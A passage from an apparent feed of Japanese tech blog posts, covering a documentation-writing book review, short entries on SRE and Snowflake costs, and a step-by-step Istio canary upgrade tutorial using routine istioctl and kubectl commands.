ドキュメントの保守と非推奨化にはドキュメントを容赦なく刈り込む重要性について記載されています。ここがブログなどとは大きく違う点だと思う。そのドキュメントの機能構造が発揮できなくなったら削除したり非推奨にするのが大事です。陳腐化された、ドキュメントは削除する削除できない場合はアーカイブしたり、ステータスとして「廃止予定(Deprecated)」を付与することは本当に大切です。機能品質ドキュメントの内容がその目的を達成するかどうかを評価します。これには、情報の正確さ、完全性、信頼性、時宜性、明瞭性、関連性が含まれます。機能品質が高いドキュメントは、読者に有用な情報を提供し、目的に沿った結果を生み出すことができます。障害対応手順書を例に上げると全てのアラートに対して手順が用意されているか誰でも作業ができるか(1次受けができるか)定期的なアップデートがされているのか必要な人が必要なときにすぐアクセスできるかなどなどドキュメントがあることによってビジネスバリューが発揮できているか。これは読む人それぞれでとても変わりやすいと思うし評価もしずらいです。機能品質の評価の施策についても本書もしくはSREの探求19章には記載されているのでぜひ読んで下さい。構造品質ドキュメントがうまく書かれているか、うまく構成されているか？ドキュメントの形式、構成、レイアウト、デザイン、文法、綴りなどの側面を評価します。これらの要素が適切に整理され、適切に機能すると、読者は情報を簡単に理解し、必要な情報を効率的に見つけることができます。評価しやすい品質textlintかけて通過しているとか構成テンプレートに沿っているとか大切なのは総合品質だが機能品質を優先せよ総合品質 = 機能品質+構造品質結局は「推測するな、計測せよ」なので本書を読んで計測方法について学んでくれ構造品質は評価しやすい一方、評価指標をこれだけにしてしまうと本質を見失ってしまう当然どちらも高いことが望ましいが、機能品質は常に構造品質よりも重視されるようにする。総合品質を守りたいんじゃぁああああPART I ドキュメント作成の準備にしてもPARTⅡ　ドキュメントの作成にしても結局は総合品質の高いドキュメントを素早く作成して、特定の期間中に品質を保ち、必要に応じて廃棄していくための取り組みなのかと思いました。どのような人が読むのか想定して、ドキュメントの目的を決めてドキュメントを書く。ドキュメントを書く時に白紙からスタートするのは非常に辛いので目的が達成されやすいテンプレートを用意する。自動生成を用いる、理解を促すために図解を利用する。様々な施策を行うことで良いドキュメントを書くことに取り組む学びが多い本書です。良い技術ドキュメントの書き方がわかると良いドキュメントが書きたくなるものですよね。みんなにドキュメントを書いてほしいのでとにかく、読んでほしいとおもいました。ドキュメントに関する入門書は他の分野ではあるがソフトウェアを運用/開発するための技術ドキュメントの為に読むべき本って無いよね、という話になりがちだけど、本書はまさにそんな人たちが読みたい1冊だと思います。知識の呪いもしくは祝福人間は他人が自分と同じ知識をもっていると思い込んでしまいます。登壇資料などでも同じですがそれらを作った直後に読み返してみても全てが既知すぎて本当にこのドキュメントや資料には価値があるのか？ と自分に問い直すことがあります。その時に読み手を意識して読み手をどう結論やゴールに導きたいか事前に考えておくことは非常に助けになります。世界で一番やさしい 資料作りの教科書という書籍があってエンジニアだけに向けた書籍ではないのですが読み手の設定と目的と価値のあるドキュメントやコミュニケーションをどのように作っていくか本当にわかりやすくまとまっているのでオススメです。あなたが悩んだことはいずれ誰かも悩むことになります。特にブログは技術ドキュメントとは性質が違うものなので気にせず書いていきましょう。自動化について話したいドキュメントの中でも機械的に作業が自動化できる場合があります。相対的にトイルっぽくなる作業になるので自動化できるものに関してはCIなどで自動化せずとも存在を知ってたりとか自動化できる事実を知っていれば今後の糧にしてほしいです。個人的にはテンプレートの作成を先にやった方が効果があると思います。あくまで個人的には。issue templatesを用意しましょう。terraform-docsTerraform module を利用する際にパラメーターやアウトプットなどの機械的な情報の説明を書くのは非常に手間です。それらの機械的な情報をまとめてくれるのがterraform-docs になります。https://github.com/k1LoW/tblsDBの必要な情報をCIフレンドリーに出してくれる最高のツールなので案件でDBを使っていれば積極的に採用していきたいと思ってます。データベースのドキュメント作成を現場の開発エンジニアもやりたくない人が多いはずprotoc-gen-docProtocol Buffers 用のドキュメント生成用のプラグインhtmltesthtmltestを使えば生成されたHTML内のリンク切れを発見できます。textlinttextlintとはLintと呼ばれる静的解析ツールで、テキストファイルやMarkdownファイル等を対象に、校正ルールにもとづいて文章校正を行うツールです。様々な個人や組織やオレオレルールを公開しているので自分にあうもの自分の組織に合うものを見つけて行くのも良いと思う。ChromeやVScode などにも組み込める。よりよい文書を書くための校正ツール「textlint」のSmartHR用ルールプリセットを公開しました！ ｜SmartHRオープン社内報https://shanaiho.smarthr.co.jp/n/n881866630edaPrettier ソースコードの整形ツール。Node.js上で動作するので、ユーザーの環境に依存せずに、コードのフォーマットを開発者間で統一することのできるツールです。同僚の長谷川 氏にオススメされた。あとがき2023年3月15日では、GPT-4 が登場し、さまざまな意見が飛び交っています。私自身も仕事でChatGPTを利用しているため、その特徴はぼちぼち理解しています。ChatGPTが得意なのは、過去のデータを基に『ドキュメントの作成』をすることです。『ドキュメント作成の準備』と『ドキュメントの公開と運用』は依然として人間が担当していくと思います。GPT-4などの技術を適切に活用しつつ、ドキュメンテーションにおける人間の価値を維持するためには、バランスの取れた使用、クリティカルシンキングの維持、継続的な学習、コミュニケーションスキルの重視、チームワークと協力、そして創造性とイノベーションを大切にすることが重要です。何より重要なのは自分の頭でちゃんと考えることです。ChatGPTを利用したドキュメント化生成ツールが出てくるとは思うのでその時には『ドキュメント作成の準備』と『ドキュメントの公開と運用』がより大事になってくると思いました。遅考術――じっくりトコトン考え抜くための「１０のレッスン」作者:植原 亮ダイヤモンド社Amazon参考文献ユーザーの問題解決とプロダクトの成功を導く　エンジニアのためのドキュメントライティングSREの探求 19章 ドキュメント作成業務の改善：エンジニアリングワークフローへのドキュメンテーションの統合目的に沿ったDocumentation as Codeをいかにして実現していくか / PHPerKaigi 2021","link":"https://syu-m-5151.hatenablog.com/entry/2023/03/14/130502","isoDate":"2023-03-14T04:05:02.000Z","dateMiliSeconds":1678766702000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"振り返り (2020 - 2022)","contentSnippet":"コロプラに 2020/3/1 に入社して、2023/2/28 付けで退職したので、丸々 3 年間勤務したことになります。本当の意味での大規模 Kubernetes 環境で貴重な経験をさせて貰い感謝しかないです。記憶が新しい内に、この 3 年間でやってきたことを公開できる範囲で整理しました。 GitOps 風なマニフェスト管理への移行インフラチームで管理している監視ツールやアドオンなコンポーネントを Helm でインストールしていました。マルチクラスタな環境で手動インストールはスケールしないので、Helmfile で生成した各クラスタのマニフェストを Argo CD で同期する方式に...","link":"https://zenn.dev/toversus/articles/8557a7fb2bc15c","isoDate":"2023-03-05T14:17:49.000Z","dateMiliSeconds":1678025869000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"Devbox を使った開発環境","contentSnippet":"ローカル環境を汚さずDockerコンテナのオーバーヘッドもなく、開発環境を自在に構築できる「Devbox 0.2.0」登場 － Publickey この記事を最初に見たときは「えーそん","link":"https://blog.1q77.com/2023/03/devbox/","isoDate":"2023-03-04T15:05:12.000Z","dateMiliSeconds":1677942312000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"『2023年もSRE再考と叫びなさい!!』というタイトルで登壇しました","contentSnippet":"概要エンジニア文化祭 2023というイベントに『2023年もSRE再考と叫びなさい‼️ - SREの跡を求めず SREの求めたるところを求めよ』というタイトルで登壇しました。2023年にSREについて再び考えたりしたいなーって思いながらこのタイトルにしました。途中でこのイベントにはSREの方だけではなく開発者やその他の方もたくさん聞いてるイベントじゃーんって思い直してガッツリ資料を作り直しましたので見守ってください。サイトリライアビリティワークブック ―SREの実践方法オライリー・ジャパンAmazon資料登壇資料になります。 speakerdeck.comあとがき30分発表なのに資料が50ページ程度で、技術発表にしても高速早口オタクすぎたとおもいます。DevOpsの背景を歴史から紐解いていたりしてたらこうなりましたが後悔はしてないです。本発表に関しては2023年 SRE再考と称しておきながら最後の3つ『信頼性が確保できるとプラットフォームにしたくなる』、『信頼性が確保できると変更速度を両立したくなる』、『信頼性が確保できると未知のものを見つけたくなる』への掘り下げが少なかったと思います。それが主にガッツリ資料を作り直した部分になります。この資料はもう少し喋りたいと思うので加筆、修正して60分ぐらいで喋らせてくれるイベントがあればTwitter でDM下さい。じゃあ、あとがきに書けばよくね？参考文献SRE サイトリライアビリティエンジニアリングが”ザックリ”「すっきり」分かる本: Googleが実践している新DevOps方法論SRE サイトリライアビリティエンジニアリングサイトリライアビリティワークブックWhat\'s the Difference Between DevOps and SRE?Solving Reliability Fears with Site Reliability EngineeringThe History of DevOps ReportsEffective DevOps非ITの事業会社にSREと言わずにSREを持ち込んだReliability When Everything Is a Platform: Why You Need to SRE Your Customersネットワーク・エフェクト 事業とプロダクトに欠かせない強力で重要なフレームワークLeanとDevOpsの科学[Accelerate] テクノロジーの戦略的活用が組織変革を加速する継続的デリバリーのソフトウェア工学:もっと早く、もっと良いソフトウェアを作るための秘訣オブザーバビリティ・エンジニアリングWebエンジニアのための監視システム実装ガイド反脆弱性[上]――不確実な世界を生き延びる唯一の考え方反脆弱性[下]――不確実な世界を生き延びる唯一の考え方2022年版 OpenTelemetryを知れば世界が平和に","link":"https://syu-m-5151.hatenablog.com/entry/2023/03/03/105049","isoDate":"2023-03-03T01:50:49.000Z","dateMiliSeconds":1677808249000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Snowflakeでのコスト管理","contentSnippet":"Snowflakeを最近触ってみることがあったので、コスト周りについて個人的に調べたログ参考ドキュメント↓Snowflakeでのコスト管理 | Snowflake Documentation お品書きSnowflakeのコストについてSnowflakeのコスト調査Snowflakeのコスト制御 SnowflakeのコストについてSnowflakeでのコストは次の3つの領域に分類される。コンピューティング: ユーザー管理(仮想ウェアハウス)、Snowflake管理(Snowpipeなどのサーバーレス機能)、およびクラウドサービスストレージ: データステージング...","link":"https://zenn.dev/nedoko_dok0dko/articles/ffe6450c4cd851","isoDate":"2023-02-28T10:45:26.000Z","dateMiliSeconds":1677581126000,"authorName":"seno","authorId":"seno"},{"title":"【Istio⛵️】Istioを安全にアップグレードするカナリア方式とその仕組み","contentSnippet":"この記事から得られる知識この記事を読むと、以下を \\"完全に理解\\" できます✌️Istioのアップグレード手法の種類について安全なカナリア方式の仕組みについてこの記事から得られる知識01. はじめに02. なぜ安全なアップグレードが必要なのか起こりうる問題採用するべきアップグレード手法03. アップグレード手法を説明する前にカナリアリリースとはカナリアリリースの手順(1) 新環境のリリース(2) 新環境への重み付けルーティング(3) 実地的テストの実施(4) 重み付けの段階的変更『カナリアリリース』の呼称の由来04. アップグレード手法の概要(1) アップグレード前の検証(2) 新Istiodのインストール(3) Webhookの宛先のServiceの変更(4) IngressGatewayをインプレースアップグレード(5) 一部のNamespaceのistio-proxyコンテナをアップグレード(6) ユーザの手を借りたテスト(7) istio-proxyコンテナの段階的なアップグレード(8) 旧Istiodのアンインストール05. アップグレード手法の詳細istioctl コマンドを使用したアップグレード前提NamespaceIstiodIngressGatewayマイクロサービス(1) アップグレード前の検証ここで実施することistioctl x precheckコマンドkubectl getコマンド▼ IstiodのDeployment▼ Webhookの宛先のService▼ 宛先のServiceを決めるMutatingWebhookConfiguration(2) 新Istiodのインストールここで実施することistioctl versionコマンドistioctl installコマンドkubectl getコマンド▼ IstiodのDeployment▼ Webhookの宛先のService▼ Webhookの宛先のServiceを決めるMutatingWebhookConfiguration(3) Webhookの宛先のServiceの変更ここで実施することistioctl tag setコマンド(4) IngressGatewayをインプレースアップグレードここで実施することkubectl rollout restartコマンド(5) 一部のNamespaceのistio-proxyコンテナをアップグレードここで実施することkubectl rollout restartコマンド(6) ユーザの手を借りたテストここで実施することもし問題が起こった場合(7) istio-proxyコンテナの段階的なアップグレードここで実施することkubectl rollout restartコマンド(8) 旧Istiodのアンインストールここで実施することistioctl uninstallコマンドkubectl getコマンド▼ IstiodのDeployment▼ Webhookの宛先のService▼ 宛先のServiceを決めるMutatingWebhookConfiguration06. おわりに01. はじめに隠しません。有吉弘行のサンデーナイトドリーマー が生きがいです。さて、最近の業務でIstio⛵️をひたすらアップグレードしています。今回は、採用したアップグレード手法の紹介も兼ねて、Istioの安全なアップグレード手法の仕組みを記事で解説しました。Istioのアップグレード手法には変遷があり、解説するのは執筆時点 (2023/02/26) 時点で最新の 1.14 系のアップグレード手法です。それでは、もりもり布教していきます\uD83D\uDE1702. なぜ安全なアップグレードが必要なのか起こりうる問題そもそも、なぜIstioで安全なアップグレードを採用する必要があるのでしょうか。Istioで問題が起こると、Pod内のistio-proxyコンテナが正しく稼働せず、システムに大きな影響を与える可能性があります。例えば、istio-proxyコンテナのPodへのインジェクションがずっと完了せず、アプリコンテナへの通信が全て遮断されるといったことが起こることがあります。採用するべきアップグレード手法執筆時点 (2023/02/26) では、IstioのIstiodコントロールプレーン (以降、Istiodとします) のアップグレード手法には、『インプレース方式』と『カナリア方式』があります。また合わせてアップグレードが必要なIstioのIngressGatewayには、その手法に『インプレース方式』があります。今回の安全なアップグレード手法として、Istiodでは『カナリアアップグレード』、IngressGatewayでは『インプレースアップグレード』を採用します。Istio / Canary UpgradesIstio / Installing Gateways03. アップグレード手法を説明する前にカナリアリリースとはIstiodのカナリアアップグレードが理解しやすくなるように、カナリアリリースから説明したいと思います。カナリアリリースは、実際のユーザーにテストしてもらいながらリリースする手法です。もしカナリアリリースをご存知の方は、 03. アップグレード手法の概要 まで飛ばしてください\uD83D\uDE47\uD83C\uDFFB‍カナリアリリースの手順カナリアリリースは、一部のユーザーを犠牲にすることになる一方で、アプリを実地的にテストできる点で優れています。手順を交えながら説明します。CanaryRelease(1) 新環境のリリース旧環境のアプリを残したまま、新環境をリリースします。この段階では、全てのユーザー (100%) を旧環境にルーティングします。(2) 新環境への重み付けルーティングロードバランサーで重み付けを変更し、一部のユーザー (ここでは10%) を新環境にルーティングします。(3) 実地的テストの実施ユーザーの手を借りて新環境を実地的にテストします (例：該当のエラーメトリクスが基準値を満たすか) 。(4) 重み付けの段階的変更新環境に問題が起こらなければ、重み付けを段階的に変更し、最終的には全てのユーザー (100%) を新環境にルーティングします。『カナリアリリース』の呼称の由来カナリアリリースについては、その呼称の由来を知ると、より理解が深まります。カナリアリリースは、20世紀頃の炭坑労働者の危機察知方法に由来します。炭鉱内には有毒な一酸化炭素が発生する場所がありますが、これは無色無臭なため、気づくことに遅れる可能性があります。そこで当時の炭鉱労働者は、一酸化炭素に敏感な『カナリア』を炭鉱内に持ち込み、カナリアの様子から一酸化炭素の存在を察知するようにしていたそうです。つまり、先ほどの『犠牲になる一部のユーザー』が、ここでいうカナリアというわけです\uD83D\uDE28画像引用元：George McCaa, U.S. Bureau of MinesAbout canary deployment in simple words04. アップグレード手法の概要カナリアリリースについて理解したところで、Istioの安全なアップグレード手法の概要を説明します。おおよそ以下の手順からなります。なお各番号は、04. アップグレード手法の詳細 の (1) 〜 (8) に対応しています。(1) アップグレード前の検証旧Istiodが稼働しています。ここで、アップグレードが可能かどうかを検証しておきます。(2) 新Istiodのインストール新Istiod (discoveryコンテナ) をインストールします。(3) Webhookの宛先のServiceの変更新Istiodのistio-proxyコンテナをインジェクションできるように、Webhookの宛先のServiceを変更します。この手順は重要で、後の (3) Webhookの宛先のServiceの変更 で詳細を説明しています。(4) IngressGatewayをインプレースアップグレードIngressGatewayをインプレースアップグレードします。(5) 一部のNamespaceのistio-proxyコンテナをアップグレード一部のNamespaceで、istio-proxyコンテナをカナリアアップグレードします。カナリアリリースのような重み付けがなく、カナリアアップグレードの『カナリア』という呼称に違和感を持つ方がいるかもしれません。これについては、全てのNamespaceのistio-proxyコンテナを一斉にアップグレードするのではなく、段階的にアップグレードしていく様子を『カナリア』と呼称している、と個人的に推測しています。もし『カナリアアップグレード』の由来をご存じの方は、ぜひ教えていただけると\uD83D\uDE47\uD83C\uDFFB‍(6) ユーザの手を借りたテストユーザーの手を借りて、実地的にテストします (例：該当のエラーメトリクスが基準値以下を満たすか) 。(7) istio-proxyコンテナの段階的なアップグレード新Istiodのistio-proxyコンテナに問題が起こらなければ、他のNamespaceでもistio-proxyコンテナを段階的にカナリアアップグレードしていきます。一方でもし問題が起これば、Namespaceのistio-proxyコンテナとIngressGatewayをダウングレードします。(8) 旧Istiodのアンインストール最後に、旧Istiodをアンインストールします。Istio / Canary Upgrades05. アップグレード手法の詳細istioctl コマンドを使用したアップグレードここからは、03. アップグレード手法の概要 を深ぼっていきます。今回は、ドキュメントで一番優先して記載されている istioctl コマンドを使用した手順 を説明します。なお各番号は、03. アップグレード手法の概要 の (1) 〜 (8) に対応しています。istioctlコマンド以外のツール (例：helmコマンド、helmfileコマンド、ArgoCD) を使用してもアップグレードできます。細かな手順が異なるだけで、アップグレード手法の概要に関しては同じです\uD83D\uDE46\uD83C\uDFFB‍前提Namespaceまず最初に、前提となる状況を設定しておきます。各Namespaceのistio.io/revラベルにdefaultが設定されているとします。$ kubectl get namespace -L istio.io/revNAME STATUS AGE REVfoo Active 34d defaultbar Active 34d defaultbaz Active 34d defaultistio-ingress Active 34d default...エイリアスはどんな値でも問題なく、よくあるエイリアスとしてdefaultやstableなどを使用します。さらに、マニフェストに書き起こすと以下のようになっています。apiVersion: v1kind: Namespacemetadata: name: foo labels: istio.io/rev: defaultこのistio.io/revラベルがあることにより、そのNamespaceのPodにistio-proxyコンテナを自動的にインジェクションします。istio-proxyコンテナのインジェクションの仕組みについては、こちら記事で説明してます。もし気になる方はこちらもよろしくどうぞ\uD83D\uDE47\uD83C\uDFFB‍Istiodすでに1-14-6のIstiodが動いており、1-15-4にカナリアアップグレードします。IstiodはDeployment配下のPodであり、このPodはIstiodの実体であるdiscoveryコンテナを持ちます。$ kubectl get deployment -n istio-system -l app=istiodNAME READY UP-TO-DATE AVAILABLE AGEistiod-1-14-6 1/1 1 1 47s # 1-14-6IngressGatewayIngressGatewayはIstiodとは異なるNamespaceで動いており、インプレースアップグレードします。IngressGatewayはistio-proxyコンテナを持ちます。$ kubectl get deployment -n istio-ingressNAME READY UP-TO-DATE AVAILABLE AGEistio-ingressgateway 1/1 1 1 47sセキュリティのベストプラクティスでは、IstiodとIngressGatewayは異なるNamespaceで動かすことが推奨されています。Istio / Installing Gatewaysマイクロサービス各Namespaceでマイクロサービスが動いています。マイクロサービスのPodはistio-proxyコンテナを持ちます。$ kubectl get deployment -n fooNAME READY UP-TO-DATE AVAILABLE AGEfoo 2/2 1 1 47s...$ kubectl get deployment -n barNAME READY UP-TO-DATE AVAILABLE AGEbar 2/2 1 1 47s..$ kubectl get deployment -n bazNAME READY UP-TO-DATE AVAILABLE AGEbaz 2/2 1 1 47s...(1) アップグレード前の検証ここで実施することアップグレード前に、現在のKubernetes Clusterがアップグレード要件を満たしているかを検証します。Before you upgradeistioctl x precheckコマンドistioctl x precheckコマンドを実行し、アップグレード要件を検証します。問題がなければ、istioctlコマンドはNo issue ...の文言を出力します。$ istioctl x precheck✅ No issues found when checking the cluster.Istiois safe to install or upgrade! To get started, check out https://istio.io/latest/docs/setup/getting-started/もし、問題がある場合、istioctlコマンドはエラー文言を出力します。例えば、Istioのistio-proxyコンテナのインジェクションではkube-apiserverと通信する必要があります。そのため、kube-apiserverのバージョンが古すぎるせいでIstioが非対応であると、エラーになります\uD83D\uDE2Dkubectl getコマンド▼ IstiodのDeploymentkubectl getコマンドを実行し、現在のIstiodのバージョンを確認します\uD83D\uDC40まずはIstiodのDeploymentを確認すると、1-14-6のDeploymentがあります。$ kubectl get deployment -n istio-system -l app=istiodNAME READY UP-TO-DATE AVAILABLE AGEistiod-1-14-6 1/1 1 1 47s # 1-14-6istio-proxyコンテナのインジェクションの仕組みでいうと、以下の赤枠の要素です\uD83D\uDC47▼ Webhookの宛先のService次に、 Serviceを確認すると、1-14-6のServiceがあります。$ kubectl get service -n istio-system -l app=istiodNAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGEistiod-1-14-6 ClusterIP 10.96.93.151 15010/TCP,15012/TCP,443/TCP,15014/TCP 109s # 1-14-6このServiceは、kube-apiserverからIstiodへのWebhookを仲介することにより、istio-proxyコンテナのインジェクションを可能にします。istio-proxyコンテナのインジェクションの仕組みでいうと、以下の赤枠の要素です\uD83D\uDC47▼ 宛先のServiceを決めるMutatingWebhookConfiguration最後に、MutatingWebhookConfigurationを確認すると、istio-revision-tag-<エイリアス>とistio-sidecar-injector-<リビジョン番号>のMutatingWebhookConfigurationがあります。$ kubectl get mutatingwebhookconfigurationsNAME WEBHOOKS AGEistio-revision-tag-default 2 114s # カナリアアップグレード用istio-sidecar-injector-1-14-6 2 2m16s # インプレースアップグレード用のため今回は言及しないistio-proxyコンテナのインジェクションの仕組みでいうと、以下の赤枠の要素です\uD83D\uDC47これらのうち、前者 (istio-revision-tag-<エイリアス>) をカナリアアップグレードのために使用します。このMutatingWebhookConfigurationは、Webhookの宛先のServiceを決めるため、結果的にistio-proxyコンテナのバージョンを決めます。ここで、MutatingWebhookConfigurationのistio.io/revラベルとistio.io/tagラベルの値も確認しておきます。$ kubectl get mutatingwebhookconfiguration istio-revision-tag-default -o yaml \\\\ | yq \'.metadata.labels\'...istio.io/rev: 1-14-6istio.io/tag: default...istio.io/revラベルはIstiodのバージョン、istio.io/tagラベルはこれのエイリアスを表しています。また、.webhooks[].namespaceSelectorキー配下のistio.io/revキーの検知ルールを確認します。$ kubectl get mutatingwebhookconfiguration istio-revision-tag-default -o yaml \\\\ | yq \'.webhooks[]\'...namespaceSelector: matchExpressions: - key: istio.io/rev operator: In values: - default...合わせて、.webhooks[].clientConfig.serviceキー配下のServiceを名前を確認します。$ kubectl get mutatingwebhookconfiguration istio-revision-tag-default -o yaml \\\\ | yq \'.webhooks[].clientConfig\'...service: name: istiod-1-14-6...ここで、重要な仕組みをおさらいします。Namespaceでistio.io/revラベルにdefaultを設定してあるとします。すると、上記のMutatingWebhookConfigurationがこれを検知します。MutatingWebhookConfigurationにはdefaultに対応するIstioのリビジョンが定義されており、kube-apiserverが特定のIstioのバージョンのServiceにWebhookを送信可能になります\uD83C\uDF89Istio / Safely upgrade the Istio control plane with revisions and tags(2) 新Istiodのインストールここで実施することそれでは、新Istiodをインストールします。Control planeistioctl versionコマンド新しくインストールするIstiodのバージョンは、istioctlコマンドのバージョンで決まります。そこで、istioctl versionコマンドを実行し、これのバージョンを確認します。$ istioctl versionclient version: 1.15.4 # アップグレード先のバージョンcontrol plane version: 1.14.6 # 現在のバージョンdata plane version: 1.14.6istioctl installコマンドカナリアアップグレードの場合、istioctl installコマンドを実行します。ドキュメントではrevisionキーの値がcanaryですが、今回は1-15-4とします。この値は、Istioが使用する様々なKubernetesリソースの接尾辞や、各リソースのistio.io/revラベルの値になります。$ istioctl install --set revision=1-15-4WARNING: Istio is being upgraded from 1.14.6 -> 1.15.4WARNING: Before upgrading, you may wish to use \'istioctl analyze\' to check for IST0002 and IST0135 deprecation warnings.✅ Istio core installed✅ Istiod installed✅ Ingress gateways installed✅ Installation completeThank you for installing Istio 1.15. Please take a few minutes to tell us about your install/upgrade experience!revisionキーを使用したカナリアリリースでは、2つの先のマイナーバージョンまでアップグレードできます。例えば、現在のIstioが1.14.6であるなら、1.16系まで対応しています\uD83D\uDC4DIstio / Canary Upgradeskubectl getコマンド▼ IstiodのDeploymentkubectl getコマンドを実行し、istioctl installコマンドで何をインストールしたのかを確認します\uD83D\uDC40まずはIstiodのDeploymentを確認すると、1-15-4というDeploymentが新しく増えています。$ kubectl get deployment -n istio-system -l app=istiodNAME READY UP-TO-DATE AVAILABLE AGEistiod-1-14-6 1/1 1 1 47s # 1-14-6istiod-1-15-4 1/1 1 1 47s # 1-15-4接尾辞の1-15-4は、revisionキーの値で決まります。この段階では、旧Istiodと新Istioが並行的に稼働しており、kube-apiserverはまだ旧Istiodと通信しています今の状況は以下の通りです\uD83D\uDC47▼ Webhookの宛先のService次に Webhookの宛先のServiceを確認すると、istiod-1-15-4というServiceが新しく増えています。$ kubectl get service -n istio-system -l app=istiodNAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGEistiod-1-14-6 ClusterIP 10.96.93.151 15010/TCP,15012/TCP,443/TCP,15014/TCP 109s # 1-14-6istiod-1-15-4 ClusterIP 10.104.186.250 15010/TCP,15012/TCP,443/TCP,15014/TCP 87s # 1-15-4この段階では、まだWebhookの宛先はistiod-1-14-6のServiceです。今の状況は以下の通りです\uD83D\uDC47▼ Webhookの宛先のServiceを決めるMutatingWebhookConfiguration最後にMutatingWebhookConfigurationを確認すると、istio-sidecar-injector-1-15-4というMutatingWebhookConfigurationが新しく増えています。$ kubectl get mutatingwebhookconfigurationsNAME WEBHOOKS AGEistio-revision-tag-default 2 114s # カナリアアップグレードで使用するistio-sidecar-injector-1-14-6 2 2m16sistio-sidecar-injector-1-15-4 2 2m16sカナリアアップグレードでは、istio-revision-tag-<エイリアス>のMutatingWebhookConfigurationを使用します。今の状況は以下の通りです\uD83D\uDC47(3) Webhookの宛先のServiceの変更ここで実施することこの手順では、エイリアスのistio.io/tagラベルの値はそのままにしておき、一方でistio.io/revラベルの値を変更します。さらに、Webhookの宛先のServiceを変更します。Default tagSafely upgrade the Istio control plane with revisions and tagsistioctl tag setコマンドistioctl tag setコマンドを実行し、istio.io/revラベルの値と宛先のServiceを変更します。$ istioctl tag set default --revision 1-15-4 --overwrite実行後に、もう一度MutatingWebhookConfigurationを確認すると、istio.io/revラベルの値が変わっています。$ kubectl get mutatingwebhookconfiguration istio-revision-tag-default -o yaml \\\\ | yq \'.metadata.labels\'...istio.io/rev: 1-15-4istio.io/tag: default...また、Webhookの宛先のServiceも変わっています。$ kubectl get mutatingwebhookconfiguration istio-revision-tag-default -o yaml \\\\ | yq \'.webhooks[].clientConfig\'...service: name: istiod-1-15-4...これらにより、Webhookの宛先が 1-15-4 のService となります。そのため、 1-15-4 の istio-proxy コンテナをインジェクションできる ようになります。今の状況は以下の通りです\uD83D\uDC47(4) IngressGatewayをインプレースアップグレードここで実施することWebhookの宛先が1-15-4のServiceに変わったところで、IngressGatewayをインプレースアップグレードします。In place upgradekubectl rollout restartコマンドkubectl rollout restartコマンドを実行し、IngressGatewayをインプレースアップグレードします。$ kubectl rollout restart deployment istio-ingressgateway-n istio-ingress再作成したPodのイメージを確認してみると、istio-proxyコンテナを1-15-4にアップグレードできています。$ kubectl get pod bar -n bar -o yaml | yq \'.spec.containers[].image\'docker.io/istio/proxyv2:1.15.4 # istio-proxyコンテナkubectl getコマンドの代わりに、istioctl proxy-statusコマンドを使用して、アップグレードの完了を確認してもよいです。今の状況は以下の通りです\uD83D\uDC47(5) 一部のNamespaceのistio-proxyコンテナをアップグレードここで実施すること続けて、一部のNamespaceのistio-proxyコンテナをアップグレードします。Podの再作成により、新Istiodのistio-proxyコンテナがインジェクションされるため。istio-proxyコンテナをアップグレードできます。Data planekubectl rollout restartコマンド前提にあるように、Namespaceには foo bar baz があります。kubectl rollout restartコマンドを実行し、barのistio-proxyコンテナからアップグレードします。$ kubectl rollout restart deployment bar -n bar再作成したPodのイメージを確認してみると、istio-proxyコンテナを1-15-4にアップグレードできています。$ kubectl get pod bar -n bar -o yaml | yq \'.spec.containers[].image\'bar-app:1.0 # マイクロサービスdocker.io/istio/proxyv2:1.15.4 # istio-proxyコンテナkubectl getコマンドの代わりに、istioctl proxy-statusコマンドを使用して、アップグレードの完了を確認してもよいです。今の状況は以下の通りです\uD83D\uDC47(6) ユーザの手を借りたテストここで実施することIstioを部分的にアップグレードしたところで、アップグレードが完了したNamespaceをテストします。ユーザーの手を借りて実地的にテストします (例：該当のエラーメトリクスが基準値を満たすか) 。今の状況は以下の通りです\uD83D\uDC47もし問題が起こった場合もし問題が起こった場合、1-14-6にダウングレードしていきます。istioctl tag setコマンドを実行し、istio.io/revラベルの値を元に戻します。$ istioctl tag set default --revision 1-14-6 --overwriteその後、kubectl rollout restartコマンドの手順を実行し、istio-proxyコンテナをダウングレードしてきます。(7) istio-proxyコンテナの段階的なアップグレードここで実施すること先ほどのNamespaceで問題が起こらなければ、残ったNamespace (foo、baz、...) のistio-proxyコンテナも段階的にアップグレードしていきます。kubectl rollout restartコマンド同様にkubectl rollout restartコマンドを実行し、istio-proxyコンテナからアップグレードします。$ kubectl rollout restart deployment foo -n foo$ kubectl rollout restart deployment baz -n baz...最終的に、全てのNamespacemのistio-proxyコンテナが新しくなります。今の状況は以下の通りです\uD83D\uDC47(8) 旧Istiodのアンインストールここで実施すること最後に、旧Istiodのアンインストールします。Uninstall old control planeistioctl uninstallコマンドistioctl uninstallコマンドを実行し、旧Istiodをアンインストールします。$ istioctl uninstall --revision 1-14-6✅ Uninstall complete今の状況は以下の通りです\uD83D\uDC47kubectl getコマンド▼ IstiodのDeploymentkubectl getコマンドを実行し、istioctl uninstallコマンドで何をアンインストールしたのかを確認します\uD83D\uDC40まずはIstiodのDeploymentを確認すると、1-14-6というDeploymentが無くなっています。$ kubectl get deployment -n istio-system -l app=istiodNAME READY UP-TO-DATE AVAILABLE AGEistiod-1-15-4 1/1 1 1 47s # 1-15-4▼ Webhookの宛先のService次に Webhookの宛先のServiceを確認すると、istiod-1-14-6というServiceが無くなっています。$ kubectl get service -n istio-system -l app=istiodNAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGEistiod-1-15-4 ClusterIP 10.104.186.250 15010/TCP,15012/TCP,443/TCP,15014/TCP 87s # 1-15-4▼ 宛先のServiceを決めるMutatingWebhookConfiguration最後にMutatingWebhookConfigurationを確認すると、istio-sidecar-injector-1-14-6というMutatingWebhookConfigurationが無くなっています。$ kubectl get mutatingwebhookconfigurationsNAME WEBHOOKS AGEistio-revision-tag-default 2 114s # 次のカナリアアップグレードでも使用するistio-sidecar-injector-1-15-4 2 2m16sこれで、新Istiodに完全に入れ替わったため、アップグレードは完了です。今の状況は以下の通りです\uD83D\uDC4706. 